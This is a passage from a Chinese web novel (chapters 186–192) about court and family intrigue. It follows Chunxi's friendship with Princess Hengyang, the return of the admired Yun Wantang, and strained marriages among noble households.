恒阳公主毫不在意,一把揽住春喜:“你家老沈什么都没跟你说吗?” “说什么?” 春喜茫然。 恒阳公主很喜欢她的反应,笑了好一会儿才开口:“驸马的心头好要回来了,这些人都是来看热闹的,她们想看本公主会不会因为那个女人跟驸马闹,还想看本公主会不会再一次动用权势,把那个女人赶得远远的。” 说到最后,恒阳公主用涂满蔻丹的手挑起春喜的下巴:“好阿喜,你说是本公主好还是那个女人好?” 第187章 登门谢罪 “公主,臣妇并未见过你说的那个女人。” 见都未曾见过,自然无从比较。 听完春喜的回答,恒阳公主眸光微闪,她细细回忆了一会儿说:“那个女人很漂亮,也很温柔,琴棋书画样样精通,当年是很多世家子弟的梦中情人,就连女子也个个都很喜欢她,就像……禾儿那样。” 提到萧清禾,春喜对那个女人有了大概的印象。 那确实是和恒阳公主差别很大的人。 但要以此判断高低,春喜选不出来。 思索片刻后,春喜认真道:“我没有与她相处过,但公主能给她如此高的评价,想来是不在意旁人是如何评价你们的,而且公主如今活得恣意洒脱,也没必要把精力浪费在陈年旧事上。” “知音难觅,”春喜的回答都说到恒阳公主心坎儿上了,她搂住春喜的胳膊,一口亲在她的脸颊,“阿喜,你真是我的知音啊,本公主怎么就没有早点儿认识你呢,要是当年本公主遇到的是你,还能有驸马什么屁事?” 恒阳公主的声音越说越大,周围人的目光也越来越惊诧。 什么意思?公主不会是玩够了男人开始喜欢女人了吧? 春喜也隐隐意识到不对劲,她拉住公主,小声问:“公主,你喝醉了吗?” 春喜到时恒阳公主就在喝酒,说话这会儿功夫又喝了两壶,虽说果酒清甜,但喝多了也还是醉人啊。 “我没有醉,本公主千杯不倒,来人,去酒窖取两坛上好的女儿红来,本公主今日要跟阿喜痛饮三百杯!” 恒阳公主高声吩咐,说完还脱了外衫,准备跳舞,这时丫鬟来报:“公主,卫大少爷来了。” “卫凌泽,他来做什么?” “卫大少爷说他来向公主殿下赔罪。” “赔罪?本公主不需要,万一他再发狂伤到本公主怎么办,快让他走。” 恒阳公主说完来拉春喜,春喜只好起身配合。 不过春喜耍耍鞭子干些杂活还行,对琴棋书画实在一窍不通,恒阳公主却明显是会跳舞的。 花园里是有乐师的,见恒阳公主开始起舞,乐师立刻跟着奏乐,很快,恒阳公主的就沉浸在了音律之中。 随着音律的变换,她的身体会舒展成不同的形态,春喜不懂舞,却看出了她现在很是恣意快乐。 而且,很美。 夫妻这么多年,驸马当真对公主一点儿都没有动心吗? 这个念头刚从春喜的脑海冒出来,一个俊美异常的男子就越过众人走到了恒阳公主身边。 这两次去无忧阁,春喜也算是见到了各式各样好看的男子,但看到眼前的男子,春喜还是忍不住惊为天人。 这人长得实在是太好看了。 眉眼如画,身形颀长,那一双深邃潋滟的眼眸像是含着无限温柔,随便一眼就要将人溺死在里面。 说是仙人下凡也不为过啊。 春喜受到巨大的美貌冲击,整个人一时愣在那里,眼睛也控制不住黏在那张脸上。 不过男子并未注意到她,只看着恒阳公主说:“卫家大少爷正跪在公主府大门口,还请公主去见见他。” “他伤了皇兄好多护卫,本公主不想见他。” “我陪公主一起去。” 男子说着要拉公主往外走,恒阳公主甩开他的手,扭头冲春喜道:“阿喜,你来陪我。” 春喜立刻上前,丫鬟也将外衫拿过去给公主穿上。 穿好衣服,恒阳公主又恢复之前的贵气逼人。 春喜陪着她朝外走去,余光瞥见那男子跟在后面,眼神控制不住地一直往后瞟。 恒阳公主察觉到后,淡淡道:“想看就大大方方地看,本公主不生气。” 春喜收回目光,小声问:“公主,这位就是驸马吗?” “嗯,”恒阳公主颔首,“本公主的眼光如何?” 春喜毫不犹豫地竖起大拇指:“公主的眼光实在是太好了,我长这么大,第一次见到这么好看的人!” 难怪公主不把无忧阁的人往家里带,家里有这么好看一个人,带谁回来不得黯然失色啊。 “好看是好看,可惜是个不中用的花瓶,看久了也腻。” 恒阳公主声音颇大,丝毫没有顾及身后人的感受。 春喜听得眼皮一跳,不敢再说话。 很快,一行人就来到公主府门口。 大门外,卫凌泽背着荆条跪着,吸引了不少人围观。 看到春喜跟在恒阳公主身边一起来的,卫凌泽眸子一沉,但想到自己是来赔罪的,很快又恢复平静。 “卫某之前在云山寺冲撞了公主,今日特来向公主请罪,请公主发落。” 说着话,卫凌泽取下背上的荆条,双手奉上。 恒阳公主眼眸微抬,门房立刻上前,接过荆条:“卫公子,得罪了。” 那人说完,高高扬手,狠狠抽在卫凌泽背上。 这一下,就让卫凌泽背上见了血。 卫凌泽疼得闷哼一声,脸色顿时有些发白,门房没想到自己这一下有这么狠,一时有些犹豫。 春喜低声提醒:“公主,卫少爷背上似乎有旧伤。” 虽说恒阳公主不在意外人的目光,但如果卫凌泽故意用苦肉计博同情,恒阳公主就得担这个骂名。 “你受伤了?” 恒阳公主直接询问,卫凌泽颔首:“之前被家父家法处置过,一点儿小伤,不碍事。” “只打了一下就见了血,这可不是什么小伤,你走吧。” 卫凌泽皱眉,想要争取机会,又听到恒阳公主说:“你别误会,本公主不是心疼你,只是怕你旧伤太重,万一有什么好歹,本公主还得蒙受不白之冤,你若真有诚意道歉,就把伤养好了再来。” 恒阳公主说完扭头就走,驸马还想阻拦,恒阳公主直接冷声呵斥:“好狗不挡道,你再敢阻拦,那就跪到那里替他受罚,如此也好让天下人都知道,这么多年你一直都没有忘记过他小姨。” 驸马好看的脸僵住,再也没了动作。 春喜听得耳朵嗡鸣。 驸马之前喜欢的人竟然是卫凌泽的小姨!? 第188章 太傅府五夫人 萧清禾没陪着卫凌泽一起出门赔罪。 她来癸水了。 自上次意外后,她就患上了痛经的毛病,大夫开了不少方子为她调养,但每次来小腹还是痛如刀绞。 雀枝灌了好几个汤婆子给她暖身子,但小腹还是痛得厉害。 临近午时,卫凌泽回来了。 萧清禾疼得浑身虚软,没有精力去管他为什么这么早就回来,没多久,云氏来到凌枫院,见卫凌泽背上有一道新的血痕,连忙招呼人给他上药。 恒阳公主和瑛王知道卫凌泽身上有伤,都没怎么为难他,卫凌泽想用苦肉计博同情没能行得通。 等他养好背上伤,陛下说不定都忘记这件事了,再去赔罪这不是又在提醒陛下他有病吗? 云氏很是心疼,忍不住安慰:“既然公主和王爷都这么说了,泽儿,你最近就好好在家里休养吧,你小姨来信说再过几日就回来了,到时有她帮着劝说,禾儿肯定会跟你和好如初的。” 说到最后,云氏话里有了些怨念。 她让人把卫凌泽送回凌枫院,是想让两人多相处一下,修复一下感情,谁知萧清禾宁愿睡外间的美人榻,也不愿和卫凌泽同床,而且平日换药擦洗都是下人在做,萧清禾根本不会近卫凌泽的身。 今日更是拿癸水做借口,不肯陪着卫凌泽一起出门,甚至连她这个婆母来了,都不曾起身迎接。 实在是冷漠任性极了,哪里还有半点儿世家贵女的样? 卫凌泽已经习惯萧清禾如此,他沉着脸问:“所以使臣团再过几日也到了吗?” 本来使臣团进京,宫里正是需要守卫的时候,他可以大展拳脚在陛下面前露脸,可现在他复职无望,说不定连迎接使臣团的宫宴都没办法参加,实在是叫人憋屈。 “没有,你小姨带着孩子提前出发,使臣团应该还要半个多月才会抵京,放心,你小姨在信中说已经想到办法帮你复职啦。” ** 太傅府也收到了五夫人要带着孩子提前抵家的消息,阖府上下都跟着忙活起来,足见重视。 沈清迟不了解这位五婶,欢好之后,趴在李继贤怀里小声问:“五叔还要过些日子才到,怎么府里还要单独给五婶准备接风宴?” 这些日子沈清迟使出了浑身解数讨好李继贤,李继贤对她的态度缓和了很多,如今将她扶正,更是多了两分新婚燕尔的甜蜜。 李继贤捏了捏她腰上的软肉解释:“我这位五婶可不是一般人,当年她在瀚京追求者无数,连如今的驸马爷都拜倒在她的裙下,她不止长得好看,还特别有才华,我五叔能娶到她那可是高攀,这些年她虽然没在瀚京,却对府中事务了如指掌,连你被扶正都是她跟祖母提议的呢。” 原本沈清迟只是好奇,听到最后一句,脑中顿时浮出一个念头。 这位五婶是回来帮她的。 为了讨好五婶,沈清迟连着熬几天绣了一幅兰花出来。 这是她唯一能拿得出手的东西了。 兰花绣好第二日傍晚,五夫人云晚棠就带着一双儿女回到太傅府。 太傅府由老夫人掌着家,多年未曾分家,今日这接风宴十分隆重,沈清迟和李继贤都只能站在角落的位置。 越过人群,沈清迟看到马车帘子被一个面容沉静的丫鬟挑开,然后两个粉雕玉琢的小孩儿钻出来,奶声奶气地开始叫人。 “臻儿见过祖母、诸位叔父伯娘、哥哥姐姐!” “玥儿见过祖母、诸位叔父伯娘、哥哥姐姐!” 两个小孩儿长得像是年画娃娃,声音又甜,一下子俘获了众人的心。 众人应着声上前抱孩子,这个时候,一位绝美的妇人才从马车里出来。 虽然已育有两个孩子,这妇人的身形却丝毫未曾走样,腰若拂柳、顾盼生辉,不止美,还有一股让人过目难忘的特殊韵味。 沈清迟不自觉屏住呼吸。 以前她觉得萧清禾那样的贵女就是人间绝色了,今日见到云晚棠才知什么叫人外有人天外有天。 曹春喜若是见到五婶,不知会是怎样的自惭形秽。 在众人的簇拥下,云晚棠带着一双儿女往里走,沈清迟连跟她说话的机会都没有,亦觉得自己绣的那幅兰花根本配不上云晚棠,正自卑着,云晚棠轻柔好听的声音穿过人群传入她耳中:“贤儿,你娘子如今怀着身孕,不能磕碰,你可要仔细护着她哦。” 云晚棠话音刚落,李继贤就伸手揽住沈清迟的腰:“五婶说的是,我一定会好好护着她的。” 因云晚棠这句话,众人也都多看了沈清迟两眼。 虽然话题并未转移到沈清迟身上,沈清迟却感受到了莫大的重视和感动。 她是失了身,自己上门来给李继贤做妾的,连太傅府的下人都瞧不上她,她本以为要痛苦挣扎许久才能爬上正妻之位,却因为这位素未谋面的五婶轻易达到,今日五婶更是当众给了她体面。 五婶才是真正对她好的人,甚至比娘对她还好! 太傅府人口众多,即便是只有家里人,接风宴也足足摆了五桌。 席间沈清迟也没有机会接近云晚棠,只能远远地看着。 云晚棠真的很得老夫人喜欢,跟府中几位妯娌也相处得很好,她从翁州带了很多特产和礼物,把每个人都照顾到了。 沈清迟既倾佩又羡慕,她做梦都想能像云晚棠这样八面玲珑,人见人爱。 演戏结束后,仍有一群人簇拥着云晚棠,送她和两个孩子回院子休息。 沈清迟偷偷跟在后面,等所有人散了,才鼓足勇气敲开云晚棠的院门。 她本来很紧张,害怕会唐突,谁知来开门的竟然是可可爱爱的玥姐儿。 “娘亲,清迟小嫂嫂来啦,”玥姐儿扭头喊了一声,而后上前,伸出小手来摸沈清迟的肚子,“这里有小宝宝诶,以后我就是他的小姑姑啦。” 沈清迟的紧张骤然消散。 她想,五婶应该挺喜欢她的,不然不会连玥姐儿都待她如此亲近。 五婶真的和曹春喜不一样。 﨔 第189章 我觉得禾儿开心最重要 回京第二日,云晚棠就带着两个孩子去了卫家。 云氏特意吩咐厨房做了很多小孩子喜欢吃的菜,又买了很多孩子喜欢的小玩意儿,萧清禾和卫凌泽也早早地来到主院陪着。 云晚棠离京已经快十年,萧清禾那时还小,和她接触不多,但对她的一些事迹倒是倒背如流,毕竟有那么几年,总是有人把她们放到一起比较,她甚至一度把云晚棠当成自己的假想敌。 即便是到了现在,也还是有人说如果她早生几年,或者云晚棠晚生几年,瀚京第一贵女的位置必然是云晚棠的。 不过卫凌泽出事后,萧清禾就很少关注这些言论了,如今真的要见到云晚棠,心绪也很平静。 “大姨、泽哥哥、禾儿嫂嫂,我们来啦~” 和昨日一样,最先闯入几人眼帘的是两个可爱无比的孩子。 两个孩子穿着颜色花纹一样的衣服,只不过一个是男孩儿,一个是女孩儿。 两人并不认生,蹦蹦跳跳地进了屋。 臻儿扑进云氏怀中,玥姐儿则扑到萧清禾怀里。 两人皆是香香软软的,云氏被扑得心都化了,萧清禾亦是忍不住心头一颤。 如果没有那场意外,她如今也快有自己的孩子了。 “臻儿、玥儿,别胡来,规矩些。” 云晚棠在两人之后进屋,只沉声提醒了一句,两个孩子就规规矩矩回到云晚棠身边,乖巧极了。 “这个年纪的小孩儿就是爱热闹,你我姐妹在闺中好得跟一个人似的,如今莫不是还要与我生分起来?” 云氏嗔怪,云晚棠笑着道:“我知道阿姐疼孩子,但也不能让他们太放肆,这里不比翁州,多注意些言行总归是好的。” 云晚棠说着看向萧清禾:“禾儿都长这么大了,以前我就觉得你是美人胚子,如今长大更好看了,幸亏泽儿当年下手早,不然就被别人抢走啦。” 说着话,云晚棠拿出一只红玉镯子戴到萧清禾手上:“你们的婚礼我没来得及参加,但新婚礼物我是早就准备好了的,希望你跟泽儿夫妻恩爱,早生贵子。” “玥儿也祝泽哥哥和禾儿嫂嫂早生贵子,禾儿嫂嫂这么好看,生出来的孩子一定更好看。” 云晚棠很是热切,玥儿又太可爱,萧清禾实在冷不下脸来拒绝,只能笑笑不说话,好在云氏很快将话题转移,问起云晚棠在翁州这些年的生活。 云晚棠声音温柔,将翁州的风土人情和风景都娓娓道来,让人听了忍不住生出向往,这顿饭吃得很是愉快。 饭后没一会儿,两个孩子就犯起困来,云氏让卫凌泽带着两个孩子去睡午觉,萧清禾则陪着云晚棠去往客院休息。 没了云氏和卫凌泽在身边,云晚棠对萧清禾更加亲厚,她拉着萧清禾又说了许多卫凌泽幼时的糗事,最后突然问:“禾儿,你现在是不是过得不开心?” 萧清禾被问了个措手不及,正不知该如何回答,又听到云晚棠说:“其实你和泽儿的事,我阿姐都写信与我说了,阿姐最近这些时日愁得吃不好也睡不好,我原本想劝你们和好的,但现在看到你,我改变了主意,若是你觉得不开心,那就不要勉强自己。” 云晚棠的声音非常温柔,没有半点儿长辈的架子,反而像是相处多年的闺中密友。 萧清禾有些诧异地看着她,云晚棠弯眸,眸光很是慈爱:“这过日子如人饮水,冷暖自知,别人都是站着说话不腰疼,自己开心才是最重要的,若是玥姐儿以后成了婚不开心,我也不希望她把余生都消耗在不值得的人身上。” 刚刚云晚棠送镯子的时候有催生的意思,萧清禾已经做好被一通说教数落的准备,没想到竟然听到这样一番话,一时忍不住有些眼眶发热。 虽然云晚棠不像是春喜那样坚定地支持她和离,但身为卫凌泽的亲人,她能如此设身处地的理解自己,还是很让人动容。 云晚棠见她如此,连忙拿着帕子给她擦泪:“好孩子,我这什么都没说了,你怎么眼眶都红了,看来这段时间一定受了好多委屈。” 萧清禾摇头,并不算对云晚棠说云氏和卫凌泽的坏话,云晚棠叹了口气道:“我阿姐什么都好,就是有些偏心护短,她一直以泽儿为傲,泽儿受伤后,她定然会偏心泽儿不少,却忘了你在家里也是千娇万宠的小姑娘,你放心,小姨会帮你主持公道的。” “谢谢小姨。” 萧清禾还不能对云晚棠敞开心扉,心里却已忍不住跟云晚棠亲近起来。 到了客院,又说了一会儿话萧清禾才离开,她走后不久,云氏就来到院中。 不等云氏开口,云晚棠便严肃道:“阿姐真是糊涂,禾儿这样温柔大方的儿媳那是多少人争着抢着要的,你怎能偏心泽儿委屈她,若我再不回来,禾儿怕是要生出和离的心思了。” 云氏眼皮一跳,急急道:“禾儿跟你说了她想和离?” “禾儿又不傻,她怎可能把这种话挂在嘴上,”云晚棠翻了个白眼,幽幽道,“我是观她神色冷淡,和泽儿坐在一起,再无半点儿情绪变化,分明是心死如灰。” 云氏一颗心悬起来,问:“那怎么办,我自然是希望他们小两口能恩爱齐心的,可那个曹春喜时不时的就要在禾儿耳边挑拨离间,禾儿如今已经着了她的魔了。” 云氏隐瞒了卫凌泽的不好,把错都推到春喜头上。 云晚棠也在信中对春喜多有了解,她并不像云氏那样生气,反而欣赏道:“这个小丫头虽然出身低微,却是个聪明人,我都没聊到她能有这番造化呢。” 这谁能料到啊。 云氏在心底附和,压低声音问:“那我们现在怎么办,总得先想办法让禾儿跟泽儿和好吧。” 云晚棠摇摇头,高深莫测道:“感情这种东西,只要有了裂痕就很难修补,阿姐莫急,等我先会会那个曹春喜。” 﨔 第190章 状元郎,好久不见 李继贤陪着沈清迟回了一趟侯府,当天下午沈金花就来了新宅找春喜。 “天大的好事,迟儿被扶为正妻了,太傅府补足了聘礼,李继贤那小子还亲自跪下给你公爹认了错道了歉,等渊儿休沐时还要设宴招待咱们呢,你们这做大哥大嫂的到时可一定要给迟儿把场面撑起来才行。” 沈清迟给家里人都准备了礼物,沈金花的态度大变,再不会一口一个小蹄子的骂着了。 春喜在公主府见过沈清迟,已经知道她被扶正的事,倒是并不意外,只警惕地问了一句:“太傅府补了聘礼没要嫁妆吗?” “当然没有,”沈金花笑得合不拢嘴,“李继贤骗了迟儿的身子,又派人上门羞辱本就理亏,如今两人蜜里调油,迟儿肚子又争气,怀上了他的孩子,他哪好意思要嫁妆。” 沈金花说完反应过来,翻了春喜一个大大的白眼:“你该不会是在担心要你给迟儿出嫁妆吧?迟儿现在可是正儿八经的太傅府四少夫人,哪里还会贪你这个大嫂的东西?” 沈金花的语气带了嫌弃,觉得春喜抠抠搜搜实在上不得台面。 春喜倒是不以为意。 嘴长在别人身上,别人要怎么说都可以,只要她没吃亏就好。 等到沈清渊休沐这日,两人便和侯府的人一起去了太傅府。 府里人都置了新衣裳,料子瞧着还很不错,沈家人全都在,躲在家里养伤的沈清宇也拾掇了一番踏出府门,沈金花更是把自己的一双儿女都带来了。 侯府马车不够,沈金花硬是和春喜挤了一辆马车,沈清渊单独骑的马。 路上沈金花一直在夸太傅府这个亲家好,不仅没有看不起他们这些沈家人,还格外的看重他们,他们身上的新衣就是太傅府送来的布匹裁的。 一人两套,连鞋袜都是一起。 末了,沈金花叹息道:“幸好迟儿有远见,没听她娘的话嫁给什么狗屁富商,而是自己搭上了太傅府,不然哪有现在的好日子。” 沈金花话里都是艳羡和骄傲,再不把未婚失身、自奔为妾当作丢人现眼的污点,更不在意自己的女儿就坐在一旁津津有味地听着这些话。 没多久,马车在太傅府门口停下。 李继贤亲自带人在门口迎接:“岳父,里边请。” 今日算是家宴,男女并未分席,前厅里,太傅府老夫人早就带着众人落座。 原本沈金花还觉得侯府所有人都来赴宴人挺多的,见到太傅府这么多人,顿时就拘束起来。 他们虽然穿上了新衣服,但这些年并未过上什么富贵日子,并没有太傅府众人那股子养尊处优的气势,站到一起顿时就落了下风,哪怕是曾经靠战功封侯的清远侯如今也是气势全无。 不过太傅府已经认下这个亲家,并未露出异色,礼数周到地招待他们落座。 座位是按照辈分排来的,吴氏和太傅夫人坐到主桌主位,清远侯也和李继贤的父亲母亲一起坐主桌,春喜和沈清渊则被分到和李继贤他们一桌。 不知道是不是刻意安排,沈清越和沈清宇被分到其他桌上,并不跟他们一起。 落座后,李继贤一直在跟沈清渊聊使臣团的事,春喜安静听着,并不插话,过了会儿,耳边传来沈清迟的声音:“大哥、大嫂。” 偏头,沈清迟穿着一身绯红长裙俏生生地站着。 公主府赏花宴过去也没几天,再次见面,沈清迟整个人都有了变化,她身上不再布满愁绪,看人时也不再带着怯懦,眉眼间尽是安定柔婉,有了股子正室夫人的大气。 不过沈清迟的变化再大,也不及她身旁的妇人夺人眼球。 妇人生得很美,不同于少女的娇美,妇人美得很有韵味,叫人见之难忘,还忍不住想要亲近,了解更多。 沈清渊停止交谈,看了沈清迟一眼,微微颔首算是回应。 沈清迟立刻拉着妇人介绍:“大哥大嫂,这是五婶婶,五婶婶刚从翁州回来,待我很好。” 云晚棠弯眸:“状元郎,好久不见。” 她仍唤沈清渊状元郎,显示他们之前认识,且交情还不错。 “好久不见,”沈清渊仍是淡淡,而后看向春喜介绍,“这位是我的夫人。” “沈少夫人很漂亮。” 云晚棠夸了一句,和沈清迟一起挨着春喜落座。 沈清迟很是好奇,小声问云晚棠:“五婶婶原来和我大哥认识啊?” “认识,你大哥当年年纪轻轻就才学过人,我父亲很欣赏他,点拨过他几次。” 云晚棠答得随意,余光却很关注春喜的情况。 春喜对她和沈清迟的交谈不是很感兴趣,并没有侧耳来听,反而饶有兴致地盯着陆陆续续摆上桌的菜。 云晚棠招来丫鬟,特意把其中一道盛有海参、鱼丸、鱼肚、花菇等多种食材的菜摆到春喜面前。 “这是翁州名菜烧三鲜,是我回来后教府里厨子做的,沈少夫人可以尝尝。” 各桌都有下人上菜,云晚棠的声音不大,并未引起其他人的注意,但很明显是在特别照顾春喜。 春喜忍不住在心里感叹。 恒阳公主说得没错,太傅府这位五夫人确实很招人喜欢。 “多谢夫人。” “沈少夫人不必如此客气,咱们现在也算是一家人了,听迟儿说你的厨艺很好,有了孩子以后,我也很爱研究新的菜式,以后沈少夫人可以多教我做菜,我也可以传授一些带孩子的经验给你。” 云晚棠的话都落到实处,不像是假意客套,是真心想与春喜结交。 按理,春喜是不该拒绝的,但想到恒阳公主赏花宴那日独自喝酒的模样,春喜还是开口:“夫人过奖了,我只会做一些家常菜,会的菜式还没有府中厨子多,实在没什么能教给夫人的,而且夫人好不容易才回瀚京,想来有很多事要忙,我也不好过多叨扰。” 春喜说得委婉,但拒绝之意很明显。 云晚棠暗自诧异。 这么多年,能在第一次见面就拒绝她示好的人寥寥无几,这个曹春喜确实有些意思。 﨔 第191章 同日设宴 虽然春喜拒绝了云晚棠的示好,云晚棠全程还是很照顾她。 离开之前,云晚棠再次提出邀约:“我去卫家见过禾儿了,瞧着她最近心情不是很好,过两日想约她出来散散心,沈少夫人可愿意一起?” 云晚棠是卫凌泽的小姨,回京后去卫家看看也很正常。 但被她这么温温柔柔地看着,春喜莫名有些不舒服。 云晚棠才刚回瀚京,还带着两个孩子,不知道有多少事要忙,却知道她擅长做菜,还知道她和禾儿私交不错,可她们明明是八竿子都打不着的关系。 云晚棠是很好,但就是有些太关注她了。 这般想着,春喜温声回答:“侄婿被停了职,禾儿应该是担心侄婿所以心情才不好吧,等侄婿复职就好了,旁人劝得多了反而容易给她带来压力。” 春喜假装不知道萧清禾和卫凌泽的感情破裂,把萧清禾的不开心归咎到卫凌泽被停职这件事上。 云晚棠虽然知道真实情况也不好反驳,只能柔柔笑道:“倒是我多虑了,沈少夫人真是个通透的人。” 又客套了几句,春喜跟着沈清渊离开。 沈清迟一直跟在云晚棠身边,见她被春喜拒绝了两次,忍不住安慰:“五婶别在意,大嫂约莫是因为不喜欢我才拒绝五婶的,五婶这样好,没有人会不喜欢五婶。” 沈清迟话里带了怨怼,很不满春喜对云晚棠的态度。 “我与你大嫂不过初识,她不愿接受我的邀约是很正常的事,”云晚棠并没有任何的不高兴,但语气有些严肃,“你如今虽然已经是太傅府的四少夫人,但她还是你的大嫂,你不该在背后妄议她,这不仅会显得你很没有教养,还会显得我们太傅府没有眼光。” 这几日云晚棠对沈清迟都是和颜悦色的,突然被她这样教训,沈清迟没觉得生气,只觉得慌乱难堪,她急急解释:“五婶,我没有对大嫂不敬,我只是可惜五婶的一番好意。” “我并非小肚鸡肠之人,你没必要为我可惜,”云晚棠态度坚决,而后又放软语气,“我不是要凶你,只是你娘不在了,我作为长辈不能看着你走弯路,你二哥三哥眼下不能参加科举,你唯一的依仗就是你大哥,所以你不能对你大嫂抱有偏见,明白吗?” 云晚棠苦口婆心,沈清迟又羞愧又感动,她强忍着泪意点头:“我知道五婶都是为我好,我听五婶的,一定会好好修补和大哥的关系的。” 云晚棠揉了揉沈清迟的脑袋,欣慰道:“乖。” 春喜一直很相信自己的直觉。 沈清渊不是个喜欢八卦的人,对云晚棠的了解也不多,第二日,春喜就去看望了萧老夫人。 她如今和萧清禾走得近,听说她来,萧夫人很快也来了松鹤院。 一番寒暄后,春喜说起云晚棠:“太傅府这位五夫人第一次见面就很照顾我,还要约我一起陪禾儿散心,但我对她不是很了解就拒绝了,今日特意来请教舅母和表嫂,想问问这位五夫人可是能深交之人。” 萧夫人下意识地看了萧老夫人一眼,果不其然看到萧老夫人眸底的赞赏。 之前春喜靠自己就把家分了,如今她自己掌了家,却没有得意忘形,遇到拿不准的事还知道问问长者的意见,不骄不躁,实属难得。 萧夫人细细说起云晚棠的过往来。 云晚棠是云氏家主的幺女,六岁时就展示出不输男子的天赋,此后她更是写出许多令人惊艳的文章和诗篇,甚至一度在云氏族学与男子一同学习。 不过随着她渐渐长开,容貌太过出众,扰得那些学子不能静心学习,云氏家主就严令禁止她到族学去了,并开始为她相看婚事。 云晚棠的盛名已经传开,京中世家子弟都将她视作高悬的明月,毫不夸张地说,去云家提亲的人都快把云家的门槛踏破了。 但登门提亲者多如浮云,云晚棠却始终没有中意的人选,直到昭陵出了位惊为天人的探花郎,恒阳公主榜下捉婿,云晚棠突然嫁人远赴翁州,众人才知原来云家明珠早有倾心之人,只可惜被恒阳公主横刀夺爱,不得不远走他乡,避其锋芒。 从那以后,瀚京人人皆知,恒阳公主是个娇纵蛮横的泼妇。 春喜听完忍不住追问:“他们当时定情了吗?云家可有向探花郎说过等他考取功名就把女儿许配给他?” 毕竟有过几次接触,春喜其实是偏向恒阳公主的,她总觉得恒阳公主有钱有权,活得恣意潇洒,实在没有必要跟云晚棠抢男人。 萧夫人也是听了些传闻,并未探究过细节,正要回答,萧老夫人沉沉开口:“自然是没有的,皇家虽然尊贵,但云家也并非寻常人家,若是云晚棠当真与探花郎两情相悦定下终身,这桩婚事成不了。” 听到这话,春喜心里顿时有了底,萧老夫人却没停下,继续道:“京中有才华的女子不少,但闹出这么大声势的,她是独一份儿,而且她离开瀚京近十年,关于她和恒阳公主的传闻却从未断过,这样的本事可不是人人都能有的。” 言下之意,云晚棠并不像表面上看着那样简单,春喜可以多提防一下。 萧家如今是萧夫人掌家,萧老夫人已经很久没有插手过外面的事了,她能如此提点春喜,是真的把春喜当成自家人来疼。 自父亲离世,什么事都是春喜自己扛着,今日她来萧家也只是想探听一些八卦,却没想到萧老夫人直接帮她指明了关键。 这种有人在背后为自己保驾护航的感觉实在是太好了。 春喜的眼眶有些发热,忍不住起身抱了萧老夫人一下:“舅母,您真是太好了,阿喜以后一定会好好孝敬您的。” 从萧家回来,春喜同时收到了云晚棠和恒阳公主的帖子,而且时间都在三日后。 春喜并未纠结,直接回绝了云晚棠,选择去公主府品酒。 恒阳公主看到她颇为意外:“咦?阿喜你没去赴云晚棠的约啊。” 春喜比恒阳公主更意外:“公主知道云晚棠今日也在设宴?” “知道啊,她也给本公主送帖子啦。” 沉默片刻,春喜试探着问:“公主今日请了很多人吗?” “没有,本公主今日只请了你。” “……” 所以今日她要是不来赴宴,这辈子还能踏入公主府吗? 﨔 第192章 怕她们喝醉了干荒唐事 春喜能来品酒让恒阳公主很是开怀,她大手一挥,让人把自己窖藏的好酒全都搬了出来。 二十年的女儿红、十年的桃花醉,还有各地每年送到宫里的贡酒,随便一坛,就要好几十两银子。 虽然知道公主有钱,但春喜还是舍不得浪费,小声劝着:“公主,咱们两个人应该喝不了太多,先开两坛喝完再开吧。” “这怎么能行,本公主今日是特意请你来品酒的,这些酒都得打开给你尝尝!” 不顾春喜的阻拦,恒阳公主直接让人把这些酒全部打开。 空气中很快弥漫着各式酒香,下一刻,下人又抬来了一只烤得红澄澄的烤乳猪,和一大份卤菜拼盘来。 美食美酒在前,春喜忍不住咽了口口水,没再说扫兴的话,陪着恒阳公主吃吃喝喝起来。 三杯酒下肚,恒阳公主敞开了心怀:“阿喜,我跟你说实话,本公主其实可烦云晚棠了,当年她跟驸马并未定情,所有人却都觉得是本公主抢了她的男人,她还一声不吭躲去翁州,所有人都以为我本公主利用皇权逼走了她,这些年本公主真是憋屈死了。” “她去了翁州也不安生,时不时就要送些特产回京给她那些手帕交,每送一次,那些人就要在背地里骂本公主一次,简直跟那嗡嗡嗡的苍蝇一样,恶心死了。” 人的成见一旦形成便很难改变,过去这些年春喜也没少遇到有口难辩的事,她想了想说:“其实这些背后嚼舌根的人多半是嫉妒公主命好,又得了如此美貌的驸马,所以故意给公主添堵,公主无需辩解什么,只要在人前表现得跟驸马琴瑟和鸣,就能气死她们。” “本公主之前就是这么做的,”恒阳公主跟春喜碰了下杯,“可是时日一长,本公主就觉得腻了,本公主的身份都这么尊贵了,为什么还要花心思演戏给她们看,她们算什么东西?” 春喜愣了一下。 是啊。 这些人再嫉妒,也只能背后蛐蛐,到了恒阳公主面前还是要陪着笑脸讨好逢迎,恒阳公主何必要把精力浪费在她们身上? “公主英明。” 春喜由衷赞叹,恒阳公主得意地笑起,而后又道:“不过本公主活了这么多年,只在云晚棠一个人身上栽过跟头,若她是无意的还好,万一让本公主知道她是故意如此,本公主定要让她吃不了兜着走!” 春喜点点头,不管换做谁被人如此算计,都是要十倍百倍讨回来的。 好不容易能够尽情喝酒,恒阳公主没有花太多时间讨论云晚棠,很快认真给春喜讲起这些酒的来历。 春喜对酒也是有些了解的,两人越聊越觉得相识恨晚,愣是从艳阳高照喝到了夜幕降临。 下人悄无声息地在各处挂上灯笼,明亮的烛火驱散夜幕,让公主府的景致有了别样的味道。 沈清渊下值回到家没见到春喜,得知她来了公主府赴约,立刻来接,到了公主府门口,正好碰到驸马温砚书。 “沈兄,好久不见。” 温砚书主动打招呼,声音温润平和,没了当年同窗时的少年气,有种老气横秋的死寂。。 沈清渊颔首回应,淡声道:“我来接我夫人。” 温砚书领着沈清渊入府,然而来到凉亭,只看到满地的空酒坛和剩菜,并未看到恒阳公主和春喜。 温砚书立刻招来婢女,婢女恭敬道:“回驸马,公主今日与沈少夫人开怀畅饮很是痛快,见今晚夜色好,一刻钟前带着沈少夫人出府去看星星了。” 温砚书早已对这种情况习以为常,扭头对沈清渊说:“公主玩够了就会回来,我与沈兄许久未见,沈兄不如随我去书房对弈几局慢慢等。” 沈清渊看着那婢女追问:“公主可有带护卫随行?她们去什么地方看星星?” “公主和沈少夫人各骑了一匹马出府,并未带护卫随行,公主也未曾说要去什么地方看星星。” 沈清渊顿时皱紧眉头,温砚书连忙劝慰:“沈兄不必担心,公主虽然没有带护卫随行,但还有暗卫保护,沈少夫人与公主在一起不会有事的。” 沈清渊偏头,眼眸锐利地瞪着温砚书:“我不是担心她们出事,我是担心她们喝醉了酒干出什么荒唐事。” 沈清渊知道春喜的酒量好,但地上这么多空酒坛,就是两头牛恐怕也会被放倒。 两人清醒的时候都敢去无忧阁买男人,喝醉了酒还不知道能干出什么来。 